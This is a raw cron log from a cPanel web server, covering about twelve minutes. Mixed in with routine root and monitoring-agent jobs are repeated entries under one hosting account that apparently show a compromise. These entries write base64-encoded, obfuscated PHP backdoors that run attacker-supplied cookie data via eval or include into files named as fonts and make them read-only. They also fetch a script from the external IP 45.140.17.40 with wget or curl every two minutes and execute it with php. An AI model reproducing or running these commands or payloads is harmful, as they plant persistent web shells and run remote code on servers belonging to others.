Sep  6 04:47:01 ip-184-168-122-23 CROND[13812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:47:01 ip-184-168-122-23 CROND[13811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:47:01 ip-184-168-122-23 CROND[13814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:48:01 ip-184-168-122-23 CROND[13924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:48:01 ip-184-168-122-23 CROND[13925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:48:01 ip-184-168-122-23 CROND[13929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:48:01 ip-184-168-122-23 CROND[13926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:48:01 ip-184-168-122-23 CROND[13927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:49:01 ip-184-168-122-23 CROND[14018]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 04:49:01 ip-184-168-122-23 CROND[14019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:49:01 ip-184-168-122-23 CROND[14021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:49:01 ip-184-168-122-23 CROND[14020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:49:01 ip-184-168-122-23 CROND[14022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:50:01 ip-184-168-122-23 CROND[14203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:50:01 ip-184-168-122-23 CROND[14205]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:50:01 ip-184-168-122-23 CROND[14208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:50:01 ip-184-168-122-23 CROND[14210]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 04:50:01 ip-184-168-122-23 CROND[14213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:50:01 ip-184-168-122-23 CROND[14212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:50:01 ip-184-168-122-23 CROND[14211]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:50:01 ip-184-168-122-23 CROND[14214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:50:01 ip-184-168-122-23 CROND[14207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:51:01 ip-184-168-122-23 CROND[14322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:51:01 ip-184-168-122-23 CROND[14325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:51:01 ip-184-168-122-23 CROND[14326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:51:01 ip-184-168-122-23 CROND[14328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:52:01 ip-184-168-122-23 CROND[14407]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:52:01 ip-184-168-122-23 CROND[14409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:52:01 ip-184-168-122-23 CROND[14411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:52:01 ip-184-168-122-23 CROND[14410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:52:01 ip-184-168-122-23 CROND[14412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:53:01 ip-184-168-122-23 CROND[14518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:53:01 ip-184-168-122-23 CROND[14519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:53:01 ip-184-168-122-23 CROND[14520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:53:01 ip-184-168-122-23 CROND[14521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:54:01 ip-184-168-122-23 CROND[14626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:54:01 ip-184-168-122-23 CROND[14631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:54:01 ip-184-168-122-23 CROND[14627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:54:01 ip-184-168-122-23 CROND[14628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:54:01 ip-184-168-122-23 CROND[14629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:55:02 ip-184-168-122-23 CROND[14717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:55:02 ip-184-168-122-23 CROND[14719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:55:02 ip-184-168-122-23 CROND[14720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:55:02 ip-184-168-122-23 CROND[14721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:55:02 ip-184-168-122-23 CROND[14722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:55:02 ip-184-168-122-23 CROND[14723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:56:01 ip-184-168-122-23 CROND[14812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:56:01 ip-184-168-122-23 CROND[14810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:56:01 ip-184-168-122-23 CROND[14811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:56:01 ip-184-168-122-23 CROND[14813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:56:01 ip-184-168-122-23 CROND[14814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:57:01 ip-184-168-122-23 CROND[14990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:57:01 ip-184-168-122-23 CROND[14994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:57:01 ip-184-168-122-23 CROND[14992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:57:01 ip-184-168-122-23 CROND[14991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:57:01 ip-184-168-122-23 CROND[14993]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep  6 04:57:49 ip-184-168-122-23 crontab[15157]: (root) LIST (root)
Sep  6 04:57:49 ip-184-168-122-23 crontab[15159]: (root) LIST (root)
Sep  6 04:57:55 ip-184-168-122-23 crontab[15244]: (root) LIST (root)
Sep  6 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  6 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  6 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  6 04:58:01 ip-184-168-122-23 CROND[15330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 04:58:01 ip-184-168-122-23 CROND[15331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:58:01 ip-184-168-122-23 CROND[15333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:58:01 ip-184-168-122-23 CROND[15332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 04:58:01 ip-184-168-122-23 CROND[15334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 04:59:01 ip-184-168-122-23 CROND[15893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:59:01 ip-184-168-122-23 CROND[15894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:59:01 ip-184-168-122-23 CROND[15896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
